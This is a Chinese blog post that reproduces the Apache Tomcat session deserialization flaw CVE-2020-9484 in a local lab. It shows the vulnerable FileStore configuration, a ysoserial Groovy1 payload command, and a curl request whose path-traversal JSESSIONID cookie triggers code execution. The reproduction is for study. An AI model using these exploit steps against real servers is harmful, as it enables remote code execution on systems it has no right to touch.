Tomcat Session 反序列化(CVE-2020-9484)

声明

好好学习,天天向上

漏洞描述

Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。

由于错误配置和 org.apache.catalina.session.FileStore 的 LFI 和反序列化漏洞引起的 RCE。

当配置了 org.apache.catalina.session.PersistentManager 并且使用 org.apache.catalina.session.FileStore 来储存 session 时, 用户可以通过 org.apache.catalina.session.FileStore 的一个 LFI 漏洞来读取服务器上任意以 .session结尾的文件。然后通过反序列化来运行 .session 文件。

默认情况是使用 org.apache.catalina.session.StandardManager, 将 session储存到内存,而 PersistentManager 会将不常用的 session swap out, 从而减少内存占用。

影响范围

10.0.0-M1 to 10.0.0-M4

9.0.0.M1 to 9.0.34

8.5.0 to 8.5.54

7.0.0 to 7.0.103

复现过程

这里使用10.0.0-M4

我把tomcat搭建在我的kali上,所以我还是自己攻自己,源和目标IP都为192.168.239.139

这里要用到tomcat,groovy和反序列化利用工具ysoserial

tomcat搭建

访问

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/

我下载的是tar.gz

然后放到kali中,解压缩

在这里插入图片描述

修改tomcat/conf/context.xlm, 添加 Manager,里面加入

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
</Manager>

加入后的contest.xlm为

在这里插入图片描述

下载 groovy-2.3.9.jar

https://mvnrepository.com/artifact/org.codehaus.groovy/groovy/2.3.9

还要选择,我是个大活人,验证码验证才能下载,我这里下载jar包

在这里插入图片描述

放到tomcat的lib中

在这里插入图片描述

进入到tomcat的bin目录下执行启动命令来启动tomcat

./catalina.sh start

在这里插入图片描述

使用ysoserial工具攻击,需要提前下载好ysoserial的jar包,下载地址

https://jitpack.io/com/github/frohoff/ysoserial/master-30099844c6-1/ysoserial-master-30099844c6-1.jar

下载好后,执行

java -jar ysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/cve-2020-9484" > /tmp/test.session

再执行,因为我tomcat搭建在kali上,这里就填自己的IP了

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

查看touch命令是否执行成功

ls /tmp

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值